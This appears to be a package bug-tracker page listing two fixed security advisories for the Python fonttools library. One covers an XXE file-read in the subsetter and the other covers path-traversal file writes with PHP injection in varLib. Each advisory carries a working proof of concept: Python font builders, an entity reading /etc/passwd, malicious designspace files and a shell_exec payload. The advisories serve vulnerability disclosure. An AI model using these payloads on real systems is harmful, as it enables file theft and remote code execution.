This package has limited bug data (2 entries). Check back later or see the package health page for the full signal.

fonttools known bugs

pypi

2 known bugs in fonttools, with affected versions, fixes and workarounds. Sourced from upstream issue trackers.

2
bugs
Known bugs
SeverityAffectedFixed inTitleStatusSource
high4.28.24.43.0
fonttools XML External Entity Injection (XXE) Vulnerability
### Summary As of `fonttools>=4.28.2` the subsetting module has a XML External Entity Injection (XXE) vulnerability which allows an attacker to resolve arbitrary entities when a candidate font (OT-SVG fonts), which contains a SVG table, is parsed. This allows attackers to include arbitrary files from the filesystem fontTools is running on or make web requests from the host system. ### PoC The vulnerability can be reproduced following the bellow steps on a unix based system. 1. Build a OT-SVG font which includes a external entity in the SVG table which resolves a local file. In our testing we utilised `/etc/passwd` for our POC file to include and modified an existing subset integration test to build the POC font - see bellow. ```python from string import ascii_letters from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen from fontTools.ttLib import newTable XXE_SVG = """\ <?xml version="1.0"?> <!DOCTYPE svg [<!ENTITY test SYSTEM 'file:///etc/passwd'>]> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <g id="glyph1"> <text font-size="10" x="0" y="10">&test;</text> </g> </svg> """ def main(): # generate a random TTF font with an SVG table glyph_order = [".notdef"] + list(ascii_letters) pen = TTGlyphPen(glyphSet=None) pen.moveTo((0, 0)) pen.lineTo((0, 500)) pen.lineTo((500, 500)) pen.lineTo((500, 0)) pen.closePath() glyph = pen.glyph() glyphs = {g: glyph for g in glyph_order} fb = FontBuilder(unitsPerEm=1024, isTTF=True) fb.setupGlyphOrder(glyph_order) fb.setupCharacterMap({ord(c): c for c in ascii_letters}) fb.setupGlyf(glyphs) fb.setupHorizontalMetrics({g: (500, 0) for g in glyph_order}) fb.setupHorizontalHeader() fb.setupOS2() fb.setupPost() fb.setupNameTable({"familyName": "TestSVG", "styleName": "Regular"}) svg_table = newTable("SVG ") svg_table.docList = [ (XXE_SVG, 1, 12) ] fb.font["SVG "] = svg_table fb.font.save('poc-payload.ttf') if __name__ == '__main__': main() ``` 2. Subset the font with an affected version of fontTools - we tested on `fonttools==4.42.1` and `fonttools==4.28.2` - using the following flags (which just ensure the malicious glyph is mapped by the font and not discard in the subsetting process): ```shell pyftsubset poc-payload.ttf --output-file="poc-payload.subset.ttf" --unicodes="*" --ignore-missing-glyphs ``` 3. Read the parsed SVG table in the subsetted font: ```shell ttx -t SVG poc-payload.subset.ttf && cat poc-payload.subset.ttx ``` Observed the included contents of the `/etc/passwd` file. ### Impact Note the final severity is dependant on the environment fontTools is running in. - The vulnerability has the most impact on consumers of fontTools who leverage the subsetting utility to subset untrusted OT-SVG fonts where the vulnerability may be exploited to read arbitrary files from the filesystem of the host fonttools is running on ### Possible Mitigations There may be other ways to mitigate the issue, but some suggestions: 1. Set the `resolve_entities=False` flag on parsing methods 2. Consider further methods of disallowing doctype declarations 3. Consider recursive regex matching
fixedosv:GHSA-6673-4983-2vx5
medium4.33.04.60.2
fontTools is Vulnerable to Arbitrary File Write and XML injection in fontTools.varLib
## Summary The `fonttools varLib` (or `python3 -m fontTools.varLib`) script has an arbitrary file write vulnerability that leads to remote code execution when a malicious .designspace file is processed. The vulnerability affects the `main()` code path of `fontTools.varLib`, used by the fonttools varLib CLI and any code that invokes `fontTools.varLib.main()`. The vulnerability exists due to unsanitised filename handling combined with content injection. Attackers can write files to arbitrary filesystem locations via path traversal sequences, and inject malicious code (like PHP) into the output files through XML injection in labelname elements. When these files are placed in web-accessible locations and executed, this achieves remote code execution without requiring any elevated privileges. Once RCE is obtained, attackers can further escalate privileges to compromise system files (like overwriting `/etc/passwd`). Overall this allows attackers to: - Write font files to arbitrary locations on the filesystem - Overwrite configuration files - Corrupt application files and dependencies - Obtain remote code execution The attacker controls the file location, extension and contents which could lead to remote code execution as well as enabling a denial of service through file corruption means. ## Affected Lines `fontTools/varLib/__init__.py` ```python filename = vf.filename # Unsanitised filename output_path = os.path.join(output_dir, filename) # Path traversal vf.save(output_path) # Arbitrary file write ``` ## PoC 1. Set up `malicious.designspace` and respective `source-*.ttf` files in a directory like `/Users/<username>/testing/demo/` (will impact relative file location within malicious.designspace) `setup.py` ```python #!/usr/bin/env python3 import os from fontTools.fontBuilder import FontBuilder from fontTools.pens.ttGlyphPen import TTGlyphPen def create_source_font(filename, weight=400): fb = FontBuilder(unitsPerEm=1000, isTTF=True) fb.setupGlyphOrder([".notdef"]) fb.setupCharacterMap({}) pen = TTGlyphPen(None) pen.moveTo((0, 0)) pen.lineTo((500, 0)) pen.lineTo((500, 500)) pen.lineTo((0, 500)) pen.closePath() fb.setupGlyf({".notdef": pen.glyph()}) fb.setupHorizontalMetrics({".notdef": (500, 0)}) fb.setupHorizontalHeader(ascent=800, descent=-200) fb.setupOS2(usWeightClass=weight) fb.setupPost() fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"}) fb.save(filename) if __name__ == '__main__': os.chdir(os.path.dirname(os.path.abspath(__file__))) create_source_font("source-light.ttf", weight=100) create_source_font("source-regular.ttf", weight=400) ``` `malicious.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> </axes> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <!-- Filename can be arbitrarily set to any path on the filesystem --> <variable-fonts> <variable-font name="MaliciousFont" filename="../../tmp/newarbitraryfile.json"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> </designspace> ``` Optional: You can put a file with any material within `../../tmp/newarbitraryfile.json` in advance, the contents in the file will be overwritten after running the setup script in the following step. 2. Run the setup.py script to generate `source-*.tff` files required for the malicious.designspace file. ```bash python3 setup.py ``` 3. Execute the given payload using the vulnerable varLib saving the file into the arbitrary file location of filename ```bash fonttools varLib malicious.designspace ``` 4. Validate arbitrary file write was performed by looking at path assigned within malicious designspace ```bash cat {{filename_location}} ``` 5. After validating that we can provide arbitrary write to any location, we can also validate that we can control sections of content as well demonstrated with the below payload. `malicious2.designspace` ```xml <?xml version='1.0' encoding='UTF-8'?> <designspace format="5.0"> <axes> <!-- XML injection occurs in labelname elements with CDATA sections --> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"> <labelname xml:lang="en"><![CDATA[<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]]]><![CDATA[>]]></labelname> <labelname xml:lang="fr">MEOW2</labelname> </axis> </axes> <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/> <sources> <source filename="source-light.ttf" name="Light"> <location> <dimension name="Weight" xvalue="100"/> </location> </source> <source filename="source-regular.ttf" name="Regular"> <location> <dimension name="Weight" xvalue="400"/> </location> </source> </sources> <variable-fonts> <variable-font name="MyFont" filename="output.ttf"> <axis-subsets> <axis-subset name="Weight"/> </axis-subsets> </variable-font> </variable-fonts> <instances> <instance name="Display Thin" familyname="MyFont" stylename="Thin"> <location><dimension name="Weight" xvalue="100"/></location> <labelname xml:lang="en">Display Thin</labelname> </instance> </instances> </designspace> ``` 6. When the program is run, we can show we control the contents in the new file ```bash fonttools varLib malicious2.designspace -o file123 ``` Here being outputted to a localised area ignoring filename presented in variable-font 7. We can look inside file123 to validate user controlled injection ```bash cat file123 ``` to show `<?php echo shell_exec("/usr/bin/touch /tmp/MEOW123");?>]]>` 8. Executing the file and reading looking at the newly generated file ```bash php file123 ls -la /tmp/MEOW123 ``` we can see that the file was just created showing RCE. ## Recommendations - Ensure output file paths configured within designspace files are restricted to the local directory or consider further security measures to prevent arbitrary file write/overwrite within any directory on the system
fixedosv:GHSA-768j-98cg-p3fv
API access

Get this data programmatically \u2014 free, no authentication.

curl https://depscope.dev/api/bugs/pypi/fonttools